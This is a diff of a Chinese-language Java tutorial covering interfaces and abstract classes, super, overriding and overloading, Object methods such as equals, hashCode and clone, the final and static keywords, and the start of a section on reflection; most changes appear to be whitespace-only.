+接口的成员（字段 + 方法）默认都是 public 的，并且不允许定义为 private 或者 protected。
 
-接口的字段默认都是 static 和 final 的。
+接口的字段默认都是 static 和 final 的。
 
 ```java
-public interface InterfaceExample {
+public interface InterfaceExample {
 
-    void func1();
+    void func1();
 
-    default void func2(){
-        System.out.println("func2");
-    }
+    default void func2(){
+        System.out.println("func2");
+    }
 
-    int x = 123;
-    // int y;               // Variable 'y' might not have been initialized
-    public int z = 0;       // Modifier 'public' is redundant for interface fields
-    // private int k = 0;   // Modifier 'private' not allowed here
-    // protected int l = 0; // Modifier 'protected' not allowed here
-    // private void fun3(); // Modifier 'private' not allowed here
+    int x = 123;
+    // int y;               // Variable 'y' might not have been initialized
+    public int z = 0;       // Modifier 'public' is redundant for interface fields
+    // private int k = 0;   // Modifier 'private' not allowed here
+    // protected int l = 0; // Modifier 'protected' not allowed here
+    // private void fun3(); // Modifier 'private' not allowed here
 }
 ```
 
 ```java
-public class InterfaceImplementExample implements InterfaceExample {
-    @Override
-    public void func1() {
-        System.out.println("func1");
-    }
+public class InterfaceImplementExample implements InterfaceExample {
+    @Override
+    public void func1() {
+        System.out.println("func1");
+    }
 }
 ```
 
 ```java
-// InterfaceExample ie1 = new InterfaceExample(); // 'InterfaceExample' is abstract; cannot be instantiated
-InterfaceExample ie2 = new InterfaceImplementExample();
+// InterfaceExample ie1 = new InterfaceExample(); // 'InterfaceExample' is abstract; cannot be instantiated
+InterfaceExample ie2 = new InterfaceImplementExample();
 ie2.func1();
 System.out.println(InterfaceExample.x);
 ```
 
-**3. 比较**
+**3. 比较** 
 
-- 从设计层面上看，抽象类提供了一种 IS-A 关系，那么就必须满足里式替换原则，即子类对象必须能够替换掉所有父类对象。而接口更像是一种 LIKE-A 关系，它只是提供一种方法实现契约，并不要求接口和实现接口的类具有 IS-A 关系。
-- 从使用上来看，一个类可以实现多个接口，但是不能继承多个抽象类。
-- 接口的字段只能是 static 和 final 类型的，而抽象类的字段没有这种限制。
-- 接口的成员只能是 public 的，而抽象类的成员可以有多种访问权限。
+- 从设计层面上看，抽象类提供了一种 IS-A 关系，那么就必须满足里式替换原则，即子类对象必须能够替换掉所有父类对象。而接口更像是一种 LIKE-A 关系，它只是提供一种方法实现契约，并不要求接口和实现接口的类具有 IS-A 关系。
+- 从使用上来看，一个类可以实现多个接口，但是不能继承多个抽象类。
+- 接口的字段只能是 static 和 final 类型的，而抽象类的字段没有这种限制。
+- 接口的成员只能是 public 的，而抽象类的成员可以有多种访问权限。
 
-**4. 使用选择**
+**4. 使用选择** 
 
 使用接口：
 
-- 需要让不相关的类都实现一个方法，例如不相关的类都可以实现 Compareable 接口中的 compareTo() 方法；
-- 需要使用多重继承。
+- 需要让不相关的类都实现一个方法，例如不相关的类都可以实现 Compareable 接口中的 compareTo() 方法；
+- 需要使用多重继承。
 
 使用抽象类：
 
-- 需要在几个相关的类中共享代码。
-- 需要能控制继承来的成员的访问权限，而不是都为 public。
-- 需要继承非静态和非常量字段。
+- 需要在几个相关的类中共享代码。
+- 需要能控制继承来的成员的访问权限，而不是都为 public。
+- 需要继承非静态和非常量字段。
 
-在很多情况下，接口优先于抽象类。因为接口没有抽象类严格的类层次结构要求，可以灵活地为一个类添加行为。并且从 Java 8 开始，接口也可以有默认的方法实现，使得修改接口的成本也变的很低。
+在很多情况下，接口优先于抽象类。因为接口没有抽象类严格的类层次结构要求，可以灵活地为一个类添加行为。并且从 Java 8 开始，接口也可以有默认的方法实现，使得修改接口的成本也变的很低。
 
-- [深入理解 abstract class 和 interface](https://www.ibm.com/developerworks/cn/java/l-javainterface-abstract/)
-- [When to Use Abstract Class and Interface](https://dzone.com/articles/when-to-use-abstract-class-and-intreface)
+- [深入理解 abstract class 和 interface](https://www.ibm.com/developerworks/cn/java/l-javainterface-abstract/)
+- [When to Use Abstract Class and Interface](https://dzone.com/articles/when-to-use-abstract-class-and-intreface)
 
-## super
+## super
 
-- 访问父类的构造函数：可以使用 super() 函数访问父类的构造函数，从而委托父类完成一些初始化的工作。
-- 访问父类的成员：如果子类重写了父类的某个方法，可以通过使用 super 关键字来引用父类的方法实现。
+- 访问父类的构造函数：可以使用 super() 函数访问父类的构造函数，从而委托父类完成一些初始化的工作。
+- 访问父类的成员：如果子类重写了父类的某个方法，可以通过使用 super 关键字来引用父类的方法实现。
 
 ```java
-public class SuperExample {
+public class SuperExample {
 
-    protected int x;
-    protected int y;
+    protected int x;
+    protected int y;
 
-    public SuperExample(int x, int y) {
-        this.x = x;
-        this.y = y;
-    }
+    public SuperExample(int x, int y) {
+        this.x = x;
+        this.y = y;
+    }
 
-    public void func() {
-        System.out.println("SuperExample.func()");
-    }
+    public void func() {
+        System.out.println("SuperExample.func()");
+    }
 }
 ```
 
 ```java
-public class SuperExtendExample extends SuperExample {
+public class SuperExtendExample extends SuperExample {
 
-    private int z;
+    private int z;
 
-    public SuperExtendExample(int x, int y, int z) {
-        super(x, y);
-        this.z = z;
-    }
+    public SuperExtendExample(int x, int y, int z) {
+        super(x, y);
+        this.z = z;
+    }
 
-    @Override
-    public void func() {
-        super.func();
-        System.out.println("SuperExtendExample.func()");
-    }
+    @Override
+    public void func() {
+        super.func();
+        System.out.println("SuperExtendExample.func()");
+    }
 }
 ```
 
 ```java
-SuperExample e = new SuperExtendExample(1, 2, 3);
+SuperExample e = new SuperExtendExample(1, 2, 3);
 e.func();
 ```
 
@@ -613,191 +655,191 @@ SuperExample.func()
 SuperExtendExample.func()
 ```
 
-[Using the Keyword super](https://docs.oracle.com/javase/tutorial/java/IandI/super.html)
+[Using the Keyword super](https://docs.oracle.com/javase/tutorial/java/IandI/super.html)
 
-## 重写与重载
+## 重写与重载
 
-**1. 重写（Override）**
+**1. 重写（Override）** 
 
 存在于继承体系中，指子类实现了一个与父类在方法声明上完全相同的一个方法。
 
 为了满足里式替换原则，重写有有以下两个限制：
 
-- 子类方法的访问权限必须大于等于父类方法；
-- 子类方法的返回类型必须是父类方法返回类型或为其子类型。
+- 子类方法的访问权限必须大于等于父类方法；
+- 子类方法的返回类型必须是父类方法返回类型或为其子类型。
 
-使用 @Override 注解，可以让编译器帮忙检查是否满足上面的两个限制条件。
+使用 @Override 注解，可以让编译器帮忙检查是否满足上面的两个限制条件。
 
-**2. 重载（Overload）**
+**2. 重载（Overload）** 
 
 存在于同一个类中，指一个方法与已经存在的方法名称上相同，但是参数类型、个数、顺序至少有一个不同。
 
 应该注意的是，返回值不同，其它都相同不算是重载。
 
-# 五、Object 通用方法
+# 五、Object 通用方法
 
-## 概览
+## 概览
 
 ```java
 
-public native int hashCode()
+public native int hashCode()
 
-public boolean equals(Object obj)
+public boolean equals(Object obj)
 
-protected native Object clone() throws CloneNotSupportedException
+protected native Object clone() throws CloneNotSupportedException
 
-public String toString()
+public String toString()
 
-public final native Class<?> getClass()
+public final native Class<?> getClass()
 
-protected void finalize() throws Throwable {}
+protected void finalize() throws Throwable {}
 
-public final native void notify()
+public final native void notify()
 
-public final native void notifyAll()
+public final native void notifyAll()
 
-public final native void wait(long timeout) throws InterruptedException
+public final native void wait(long timeout) throws InterruptedException
 
-public final void wait(long timeout, int nanos) throws InterruptedException
+public final void wait(long timeout, int nanos) throws InterruptedException
 
-public final void wait() throws InterruptedException
+public final void wait() throws InterruptedException
 ```
 
-## equals()
+## equals()
 
-**1. 等价关系**
+**1. 等价关系** 
 
-Ⅰ 自反性
+Ⅰ 自反性
 
 ```java
-x.equals(x); // true
+x.equals(x); // true
 ```
 
-Ⅱ 对称性
+Ⅱ 对称性
 
 ```java
-x.equals(y) == y.equals(x); // true
+x.equals(y) == y.equals(x); // true
 ```
 
-Ⅲ 传递性
+Ⅲ 传递性
 
 ```java
-if (x.equals(y) && y.equals(z))
-    x.equals(z); // true;
+if (x.equals(y) && y.equals(z))
+    x.equals(z); // true;
 ```
 
-Ⅳ 一致性
+Ⅳ 一致性
 
-多次调用 equals() 方法结果不变
+多次调用 equals() 方法结果不变
 
 ```java
-x.equals(y) == x.equals(y); // true
+x.equals(y) == x.equals(y); // true
 ```
 
-Ⅴ 与 null 的比较
+Ⅴ 与 null 的比较
 
-对任何不是 null 的对象 x 调用 x.equals(null) 结果都为 false
+对任何不是 null 的对象 x 调用 x.equals(null) 结果都为 false
 
 ```java
-x.equals(null); // false;
+x.equals(null); // false;
 ```
 
-**2. 等价与相等**
+**2. 等价与相等** 
 
-- 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
-- 对于引用类型，== 判断两个变量是否引用同一个对象，而 equals() 判断引用的对象是否等价。
+- 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
+- 对于引用类型，== 判断两个变量是否引用同一个对象，而 equals() 判断引用的对象是否等价。
 
 ```java
-Integer x = new Integer(1);
-Integer y = new Integer(1);
-System.out.println(x.equals(y)); // true
-System.out.println(x == y);      // false
+Integer x = new Integer(1);
+Integer y = new Integer(1);
+System.out.println(x.equals(y)); // true
+System.out.println(x == y);      // false
 ```
 
-**3. 实现**
+**3. 实现** 
 
-- 检查是否为同一个对象的引用，如果是直接返回 true；
-- 检查是否是同一个类型，如果不是，直接返回 false；
-- 将 Object 对象进行转型；
-- 判断每个关键域是否相等。
+- 检查是否为同一个对象的引用，如果是直接返回 true；
+- 检查是否是同一个类型，如果不是，直接返回 false；
+- 将 Object 对象进行转型；
+- 判断每个关键域是否相等。
 
 ```java
-public class EqualExample {
+public class EqualExample {
 
-    private int x;
-    private int y;
-    private int z;
+    private int x;
+    private int y;
+    private int z;
 
-    public EqualExample(int x, int y, int z) {
-        this.x = x;
-        this.y = y;
-        this.z = z;
-    }
+    public EqualExample(int x, int y, int z) {
+        this.x = x;
+        this.y = y;
+        this.z = z;
+    }
 
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) return true;
-        if (o == null || getClass() != o.getClass()) return false;
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (o == null || getClass() != o.getClass()) return false;
 
-        EqualExample that = (EqualExample) o;
+        EqualExample that = (EqualExample) o;
 
-        if (x != that.x) return false;
-        if (y != that.y) return false;
-        return z == that.z;
-    }
+        if (x != that.x) return false;
+        if (y != that.y) return false;
+        return z == that.z;
+    }
 }
 ```
 
-## hashCode()
+## hashCode()
 
-hashCode() 返回散列值，而 equals() 是用来判断两个对象是否等价。等价的两个对象散列值一定相同，但是散列值相同的两个对象不一定等价。
+hashCode() 返回散列值，而 equals() 是用来判断两个对象是否等价。等价的两个对象散列值一定相同，但是散列值相同的两个对象不一定等价。
 
-在覆盖 equals() 方法时应当总是覆盖 hashCode() 方法，保证等价的两个对象散列值也相等。
+在覆盖 equals() 方法时应当总是覆盖 hashCode() 方法，保证等价的两个对象散列值也相等。
 
-下面的代码中，新建了两个等价的对象，并将它们添加到 HashSet 中。我们希望将这两个对象当成一样的，只在集合中添加一个对象，但是因为 EqualExample 没有实现 hasCode() 方法，因此这两个对象的散列值是不同的，最终导致集合添加了两个等价的对象。
+下面的代码中，新建了两个等价的对象，并将它们添加到 HashSet 中。我们希望将这两个对象当成一样的，只在集合中添加一个对象，但是因为 EqualExample 没有实现 hasCode() 方法，因此这两个对象的散列值是不同的，最终导致集合添加了两个等价的对象。
 
 ```java
-EqualExample e1 = new EqualExample(1, 1, 1);
-EqualExample e2 = new EqualExample(1, 1, 1);
-System.out.println(e1.equals(e2)); // true
-HashSet<EqualExample> set = new HashSet<>();
+EqualExample e1 = new EqualExample(1, 1, 1);
+EqualExample e2 = new EqualExample(1, 1, 1);
+System.out.println(e1.equals(e2)); // true
+HashSet<EqualExample> set = new HashSet<>();
 set.add(e1);
 set.add(e2);
-System.out.println(set.size());   // 2
+System.out.println(set.size());   // 2
 ```
 
-理想的散列函数应当具有均匀性，即不相等的对象应当均匀分布到所有可能的散列值上。这就要求了散列函数要把所有域的值都考虑进来。可以将每个域都当成 R 进制的某一位，然后组成一个 R 进制的整数。R 一般取 31，因为它是一个奇素数，如果是偶数的话，当出现乘法溢出，信息就会丢失，因为与 2 相乘相当于向左移一位。
+理想的散列函数应当具有均匀性，即不相等的对象应当均匀分布到所有可能的散列值上。这就要求了散列函数要把所有域的值都考虑进来。可以将每个域都当成 R 进制的某一位，然后组成一个 R 进制的整数。R 一般取 31，因为它是一个奇素数，如果是偶数的话，当出现乘法溢出，信息就会丢失，因为与 2 相乘相当于向左移一位。
 
-一个数与 31 相乘可以转换成移位和减法：`31*x == (x<<5)-x`，编译器会自动进行这个优化。
+一个数与 31 相乘可以转换成移位和减法：`31*x == (x<<5)-x`，编译器会自动进行这个优化。
 
 ```java
 @Override
-public int hashCode() {
-    int result = 17;
-    result = 31 * result + x;
-    result = 31 * result + y;
-    result = 31 * result + z;
-    return result;
+public int hashCode() {
+    int result = 17;
+    result = 31 * result + x;
+    result = 31 * result + y;
+    result = 31 * result + z;
+    return result;
 }
 ```
 
-## toString()
+## toString()
 
-默认返回 ToStringExample@4554617c 这种形式，其中 @ 后面的数值为散列码的无符号十六进制表示。
+默认返回 ToStringExample@4554617c 这种形式，其中 @ 后面的数值为散列码的无符号十六进制表示。
 
 ```java
-public class ToStringExample {
+public class ToStringExample {
 
-    private int number;
+    private int number;
 
-    public ToStringExample(int number) {
-        this.number = number;
-    }
+    public ToStringExample(int number) {
+        this.number = number;
+    }
 }
 ```
 
 ```java
-ToStringExample example = new ToStringExample(123);
+ToStringExample example = new ToStringExample(123);
 System.out.println(example.toString());
 ```
 
@@ -805,290 +847,290 @@ System.out.println(example.toString());
 ToStringExample@4554617c
 ```
 
-## clone()
+## clone()
 
-**1. cloneable**
+**1. cloneable** 
 
-clone() 是 Object 的 protected 方法，它不是 public，一个类不显式去重写 clone()，其它类就不能直接去调用该类实例的 clone() 方法。
+clone() 是 Object 的 protected 方法，它不是 public，一个类不显式去重写 clone()，其它类就不能直接去调用该类实例的 clone() 方法。
 
 ```java
-public class CloneExample {
-    private int a;
-    private int b;
+public class CloneExample {
+    private int a;
+    private int b;
 }
 ```
 
 ```java
-CloneExample e1 = new CloneExample();
-// CloneExample e2 = e1.clone(); // 'clone()' has protected access in 'java.lang.Object'
+CloneExample e1 = new CloneExample();
+// CloneExample e2 = e1.clone(); // 'clone()' has protected access in 'java.lang.Object'
 ```
 
-重写 clone() 得到以下实现：
+重写 clone() 得到以下实现：
 
 ```java
-public class CloneExample {
-    private int a;
-    private int b;
+public class CloneExample {
+    private int a;
+    private int b;
 
-    @Override
-    public CloneExample clone() throws CloneNotSupportedException {
-        return (CloneExample)super.clone();
-    }
+    @Override
+    public CloneExample clone() throws CloneNotSupportedException {
+        return (CloneExample)super.clone();
+    }
 }
 ```
 
 ```java
-CloneExample e1 = new CloneExample();
-try {
-    CloneExample e2 = e1.clone();
-} catch (CloneNotSupportedException e) {
-    e.printStackTrace();
+CloneExample e1 = new CloneExample();
+try {
+    CloneExample e2 = e1.clone();
+} catch (CloneNotSupportedException e) {
+    e.printStackTrace();
 }
 ```
 
 ```html
-java.lang.CloneNotSupportedException: CloneExample
+java.lang.CloneNotSupportedException: CloneExample
 ```
 
-以上抛出了 CloneNotSupportedException，这是因为 CloneExample 没有实现 Cloneable 接口。
+以上抛出了 CloneNotSupportedException，这是因为 CloneExample 没有实现 Cloneable 接口。
 
-应该注意的是，clone() 方法并不是 Cloneable 接口的方法，而是 Object 的一个 protected 方法。Cloneable 接口只是规定，如果一个类没有实现 Cloneable 接口又调用了 clone() 方法，就会抛出 CloneNotSupportedException。
+应该注意的是，clone() 方法并不是 Cloneable 接口的方法，而是 Object 的一个 protected 方法。Cloneable 接口只是规定，如果一个类没有实现 Cloneable 接口又调用了 clone() 方法，就会抛出 CloneNotSupportedException。
 
 ```java
-public class CloneExample implements Cloneable {
-    private int a;
-    private int b;
+public class CloneExample implements Cloneable {
+    private int a;
+    private int b;
 
-    @Override
-    public Object clone() throws CloneNotSupportedException {
-        return super.clone();
-    }
+    @Override
+    public Object clone() throws CloneNotSupportedException {
+        return super.clone();
+    }
 }
 ```
 
-**2. 浅拷贝**
+**2. 浅拷贝** 
 
 拷贝对象和原始对象的引用类型引用同一个对象。
 
 ```java
-public class ShallowCloneExample implements Cloneable {
+public class ShallowCloneExample implements Cloneable {
 
-    private int[] arr;
+    private int[] arr;
 
-    public ShallowCloneExample() {
-        arr = new int[10];
-        for (int i = 0; i < arr.length; i++) {
-            arr[i] = i;
-        }
-    }
+    public ShallowCloneExample() {
+        arr = new int[10];
+        for (int i = 0; i < arr.length; i++) {
+            arr[i] = i;
+        }
+    }
 
-    public void set(int index, int value) {
-        arr[index] = value;
-    }
+    public void set(int index, int value) {
+        arr[index] = value;
+    }
 
-    public int get(int index) {
-        return arr[index];
-    }
+    public int get(int index) {
+        return arr[index];
+    }
 
-    @Override
-    protected ShallowCloneExample clone() throws CloneNotSupportedException {
-        return (ShallowCloneExample) super.clone();
-    }
+    @Override
+    protected ShallowCloneExample clone() throws CloneNotSupportedException {
+        return (ShallowCloneExample) super.clone();
+    }
 }
 ```
 
 ```java
-ShallowCloneExample e1 = new ShallowCloneExample();
-ShallowCloneExample e2 = null;
-try {
-    e2 = e1.clone();
-} catch (CloneNotSupportedException e) {
-    e.printStackTrace();
+ShallowCloneExample e1 = new ShallowCloneExample();
+ShallowCloneExample e2 = null;
+try {
+    e2 = e1.clone();
+} catch (CloneNotSupportedException e) {
+    e.printStackTrace();
 }
-e1.set(2, 222);
-System.out.println(e2.get(2)); // 222
+e1.set(2, 222);
+System.out.println(e2.get(2)); // 222
 ```
 
-**3. 深拷贝**
+**3. 深拷贝** 
 
 拷贝对象和原始对象的引用类型引用不同对象。
 
 ```java
-public class DeepCloneExample implements Cloneable {
+public class DeepCloneExample implements Cloneable {
 
-    private int[] arr;
+    private int[] arr;
 
-    public DeepCloneExample() {
-        arr = new int[10];
-        for (int i = 0; i < arr.length; i++) {
-            arr[i] = i;
-        }
-    }
+    public DeepCloneExample() {
+        arr = new int[10];
+        for (int i = 0; i < arr.length; i++) {
+            arr[i] = i;
+        }
+    }
 
-    public void set(int index, int value) {
-        arr[index] = value;
-    }
+    public void set(int index, int value) {
+        arr[index] = value;
+    }
 
-    public int get(int index) {
-        return arr[index];
-    }
+    public int get(int index) {
+        return arr[index];
+    }
 
-    @Override
-    protected DeepCloneExample clone() throws CloneNotSupportedException {
-        DeepCloneExample result = (DeepCloneExample) super.clone();
-        result.arr = new int[arr.length];
-        for (int i = 0; i < arr.length; i++) {
-            result.arr[i] = arr[i];
-        }
-        return result;
-    }
+    @Override
+    protected DeepCloneExample clone() throws CloneNotSupportedException {
+        DeepCloneExample result = (DeepCloneExample) super.clone();
+        result.arr = new int[arr.length];
+        for (int i = 0; i < arr.length; i++) {
+            result.arr[i] = arr[i];
+        }
+        return result;
+    }
 }
 ```
 
 ```java
-DeepCloneExample e1 = new DeepCloneExample();
-DeepCloneExample e2 = null;
-try {
-    e2 = e1.clone();
-} catch (CloneNotSupportedException e) {
-    e.printStackTrace();
+DeepCloneExample e1 = new DeepCloneExample();
+DeepCloneExample e2 = null;
+try {
+    e2 = e1.clone();
+} catch (CloneNotSupportedException e) {
+    e.printStackTrace();
 }
-e1.set(2, 222);
-System.out.println(e2.get(2)); // 2
+e1.set(2, 222);
+System.out.println(e2.get(2)); // 2
 ```
 
-**4. clone() 的替代方案**
+**4. clone() 的替代方案** 
 
-使用 clone() 方法来拷贝一个对象即复杂又有风险，它会抛出异常，并且还需要类型转换。Effective Java 书上讲到，最好不要去使用 clone()，可以使用拷贝构造函数或者拷贝工厂来拷贝一个对象。
+使用 clone() 方法来拷贝一个对象即复杂又有风险，它会抛出异常，并且还需要类型转换。Effective Java 书上讲到，最好不要去使用 clone()，可以使用拷贝构造函数或者拷贝工厂来拷贝一个对象。
 
 ```java
-public class CloneConstructorExample {
+public class CloneConstructorExample {
 
-    private int[] arr;
+    private int[] arr;
 
-    public CloneConstructorExample() {
-        arr = new int[10];
-        for (int i = 0; i < arr.length; i++) {
-            arr[i] = i;
-        }
-    }
+    public CloneConstructorExample() {
+        arr = new int[10];
+        for (int i = 0; i < arr.length; i++) {
+            arr[i] = i;
+        }
+    }
 
-    public CloneConstructorExample(CloneConstructorExample original) {
-        arr = new int[original.arr.length];
-        for (int i = 0; i < original.arr.length; i++) {
-            arr[i] = original.arr[i];
-        }
-    }
+    public CloneConstructorExample(CloneConstructorExample original) {
+        arr = new int[original.arr.length];
+        for (int i = 0; i < original.arr.length; i++) {
+            arr[i] = original.arr[i];
+        }
+    }
 
-    public void set(int index, int value) {
-        arr[index] = value;
-    }
+    public void set(int index, int value) {
+        arr[index] = value;
+    }
 
-    public int get(int index) {
-        return arr[index];
-    }
+    public int get(int index) {
+        return arr[index];
+    }
 }
 ```
 
 ```java
-CloneConstructorExample e1 = new CloneConstructorExample();
-CloneConstructorExample e2 = new CloneConstructorExample(e1);
-e1.set(2, 222);
-System.out.println(e2.get(2)); // 2
+CloneConstructorExample e1 = new CloneConstructorExample();
+CloneConstructorExample e2 = new CloneConstructorExample(e1);
+e1.set(2, 222);
+System.out.println(e2.get(2)); // 2
 ```
 
-# 六、关键字
+# 六、关键字
 
-## final
+## final
 
-**1. 数据**
+**1. 数据** 
 
 声明数据为常量，可以是编译时常量，也可以是在运行时被初始化后不能被改变的常量。
 
-- 对于基本类型，final 使数值不变；
-- 对于引用类型，final 使引用不变，也就不能引用其它对象，但是被引用的对象本身是可以修改的。
+- 对于基本类型，final 使数值不变；
+- 对于引用类型，final 使引用不变，也就不能引用其它对象，但是被引用的对象本身是可以修改的。
 
 ```java
-final int x = 1;
-// x = 2;  // cannot assign value to final variable 'x'
-final A y = new A();
-y.a = 1;
+final int x = 1;
+// x = 2;  // cannot assign value to final variable 'x'
+final A y = new A();
+y.a = 1;
 ```
 
-**2. 方法**
+**2. 方法** 
 
 声明方法不能被子类重写。
 
-private 方法隐式地被指定为 final，如果在子类中定义的方法和基类中的一个 private 方法签名相同，此时子类的方法不是重写基类方法，而是在子类中定义了一个新的方法。
+private 方法隐式地被指定为 final，如果在子类中定义的方法和基类中的一个 private 方法签名相同，此时子类的方法不是重写基类方法，而是在子类中定义了一个新的方法。
 
-**3. 类**
+**3. 类** 
 
 声明类不允许被继承。
 
-## static
+## static
 
-**1. 静态变量**
+**1. 静态变量** 
 
-- 静态变量：又称为类变量，也就是说这个变量属于类的，类所有的实例都共享静态变量，可以直接通过类名来访问它。静态变量在内存中只存在一份。
-- 实例变量：每创建一个实例就会产生一个实例变量，它与该实例同生共死。
+- 静态变量：又称为类变量，也就是说这个变量属于类的，类所有的实例都共享静态变量，可以直接通过类名来访问它。静态变量在内存中只存在一份。
+- 实例变量：每创建一个实例就会产生一个实例变量，它与该实例同生共死。
 
 ```java
-public class A {
+public class A {
 
-    private int x;         // 实例变量
-    private static int y;  // 静态变量
+    private int x;         // 实例变量
+    private static int y;  // 静态变量
 
-    public static void main(String[] args) {
-        // int x = A.x;  // Non-static field 'x' cannot be referenced from a static context
-        A a = new A();
-        int x = a.x;
-        int y = A.y;
-    }
+    public static void main(String[] args) {
+        // int x = A.x;  // Non-static field 'x' cannot be referenced from a static context
+        A a = new A();
+        int x = a.x;
+        int y = A.y;
+    }
 }
 ```
 
-**2. 静态方法**
+**2. 静态方法** 
 
 静态方法在类加载的时候就存在了，它不依赖于任何实例。所以静态方法必须有实现，也就是说它不能是抽象方法。
 
 ```java
-public abstract class A {
-    public static void func1(){
-    }
-    // public abstract static void func2();  // Illegal combination of modifiers: 'abstract' and 'static'
+public abstract class A {
+    public static void func1(){
+    }
+    // public abstract static void func2();  // Illegal combination of modifiers: 'abstract' and 'static'
 }
 ```
 
-只能访问所属类的静态字段和静态方法，方法中不能有 this 和 super 关键字。
+只能访问所属类的静态字段和静态方法，方法中不能有 this 和 super 关键字。
 
 ```java
-public class A {
+public class A {
 
-    private static int x;
-    private int y;
+    private static int x;
+    private int y;
 
-    public static void func1(){
-        int a = x;
-        // int b = y;  // Non-static field 'y' cannot be referenced from a static context
-        // int b = this.y;     // 'A.this' cannot be referenced from a static context
-    }
+    public static void func1(){
+        int a = x;
+        // int b = y;  // Non-static field 'y' cannot be referenced from a static context
+        // int b = this.y;     // 'A.this' cannot be referenced from a static context
+    }
 }
 ```
 
-**3. 静态语句块**
+**3. 静态语句块** 
 
 静态语句块在类初始化时运行一次。
 
 ```java
-public class A {
-    static {
-        System.out.println("123");
-    }
+public class A {
+    static {
+        System.out.println("123");
+    }
 
-    public static void main(String[] args) {
-        A a1 = new A();
-        A a2 = new A();
-    }
+    public static void main(String[] args) {
+        A a1 = new A();
+        A a2 = new A();
+    }
 }
 ```
 
@@ -1096,198 +1138,195 @@ public class A {
 123
 ```
 
-**4. 静态内部类**
+**4. 静态内部类** 
 
 非静态内部类依赖于外部类的实例，而静态内部类不需要。
 
 ```java
-public class OuterClass {
+public class OuterClass {
 
-    class InnerClass {
-    }
+    class InnerClass {
+    }
 
-    static class StaticInnerClass {
-    }
+    static class StaticInnerClass {
+    }
 
-    public static void main(String[] args) {
-        // InnerClass innerClass = new InnerClass(); // 'OuterClass.this' cannot be referenced from a static context
-        OuterClass outerClass = new OuterClass();
-        InnerClass innerClass = outerClass.new InnerClass();
-        StaticInnerClass staticInnerClass = new StaticInnerClass();
-    }
+    public static void main(String[] args) {
+        // InnerClass innerClass = new InnerClass(); // 'OuterClass.this' cannot be referenced from a static context
+        OuterClass outerClass = new OuterClass();
+        InnerClass innerClass = outerClass.new InnerClass();
+        StaticInnerClass staticInnerClass = new StaticInnerClass();
+    }
 }
 ```
 
 静态内部类不能访问外部类的非静态的变量和方法。
 
-**5. 静态导包**
+**5. 静态导包** 
 
-在使用静态变量和方法时不用再指明 ClassName，从而简化代码，但可读性大大降低。
+在使用静态变量和方法时不用再指明 ClassName，从而简化代码，但可读性大大降低。
 
 ```java
-import static com.xxx.ClassName.*
+import static com.xxx.ClassName.*
 ```
 
-**6. 初始化顺序**
+**6. 初始化顺序** 
 
 静态变量和静态语句块优先于实例变量和普通语句块，静态变量和静态语句块的初始化顺序取决于它们在代码中的顺序。
 
 ```java
-public static String staticField = "静态变量";
+public static String staticField = "静态变量";
 ```
 
 ```java
-static {
-    System.out.println("静态语句块");
+static {
+    System.out.println("静态语句块");
 }
 ```
 
 ```java
-public String field = "实例变量";
+public String field = "实例变量";
 ```
 
 ```java
 {
-    System.out.println("普通语句块");
+    System.out.println("普通语句块");
 }
 ```
 
 最后才是构造函数的初始化。
 
 ```java
-public InitialOrderTest() {
-    System.out.println("构造函数");
+public InitialOrderTest() {
+    System.out.println("构造函数");
 }
 ```
 
 存在继承的情况下，初始化顺序为：
 
-- 父类（静态变量、静态语句块）
-- 子类（静态变量、静态语句块）
-- 父类（实例变量、普通语句块）
-- 父类（构造函数）
-- 子类（实例变量、普通语句块）
-- 子类（构造函数）
+- 父类（静态变量、静态语句块）
+- 子类（静态变量、静态语句块）
+- 父类（实例变量、普通语句块）
+- 父类（构造函数）
+- 子类（实例变量、普通语句块）
+- 子类（构造函数）
 
 
-# 七、反射
+# 七、反射
 
-每个类都有一个 **Class** 对象，包含了与类有关的信息。当编译一个新类时，会产生一个同名的 .class 文件，该文件内容保存着 Class 对象。
+每个类都有一个  **Class**  对象，包含了与类有关的信息。当编译一个新类时，会产生一个同名的 .class 文件，该文件内容保存着 Class 对象。
 
-类加载相当于 Class 对象的加载，类在第一次使用时才动态加载到 JVM 中。也可以使用 `Class.forName("com.mysql.jdbc.Driver")` 这种方式来控制类的加载，该方法会返回一个 Class 对象。
+类加载相当于 Class 对象的加载，类在第一次使用时才动态加载到 JVM 中。也可以使用 `Class.forName("com.mysql.jdbc.Driver")` 这种方式来控制类的加载，该方法会返回一个 Class 对象。
 
-反射可以提供运行时的类信息，并且这个类可以在运行时才加载进来，甚至在编译时期该类的 .class 不存在也可以加载进来。
+反射可以提供运行时的类信息，并且这个类可以在运行时才加载进来，甚至在编译时期该类的 .class 不存在也可以加载进来。
 
-Class 和 java.lang.reflect 一起对反射提供了支持，java.lang.reflect 类库主要包含了以下三个类：
+Class 和 java.lang.reflect 一起对反射提供了支持，java.lang.reflect 类库主要包含了以下三个类：
 
-- **Field**：可以使用 get() 和 set() 方法读取和修改 Field 对象关联的字段；
-- **Method**：可以使用 invoke() 方法调用与 Method 对象关联的方法；
-- **Constructor**：可以用 Constructor 创建新的对象。
+-  **Field** ：可以使用 get() 和 set() 方法读取和修改 Field 对象关联的字段；
+-  **Method** ：可以使用 invoke() 方法调用与 Method 对象关联的方法；
+-  **Constructor** ：可以用 Constructor 创建新的对象。
 
-**反射的优点：**
+**反射的优点：** 
 
-*   **可扩展性** ：应用程序可以利用全限定名创建可扩展对象的实例，来使用来自外部的用户自定义类。
-*   **类浏览器和可视化开发环境** ：一个类浏览器需要可以枚举类的成员。可视化开发环境（如 IDE）可以从利用反射中可用的类型信息中受益，以帮助程序员编写正确的代码。
-*   **调试器和测试工具** ： 调试器需要能够检查一个类里的私有成员。测试工具可以利用反射来自动地调用类里定义的可被发现的 API 定义，以确保一组测试中有较高的代码覆盖率。
+*    **可扩展性**  ：应用程序可以利用全限定名创建可扩展对象的实例，来使用来自外部的用户自定义类。
+*    **类浏览器和可视化开发环境**  ：一个类浏览器需要可以枚举类的成员。可视化开发环境（如 IDE）可以从利用反射中可用的类型信息中受益，以帮助程序员编写正确的代码。
+*    **调试器和测试工具**  ： 调试器需要能够检查一个类里的私有成员。测试工具可以利用反射来自动地调用类里定义的可被发现的 API 定义，以确保一组测试中有较高的代码覆盖率。
 
-**反射的缺点：**
+**反射的缺点：** 
 
 尽管反射非常强大，但也不能滥用。如果一个功能可以不用反射完成，那么最好就不用。在我们使用反射技术时，下面几条内容应该牢记于心。
 
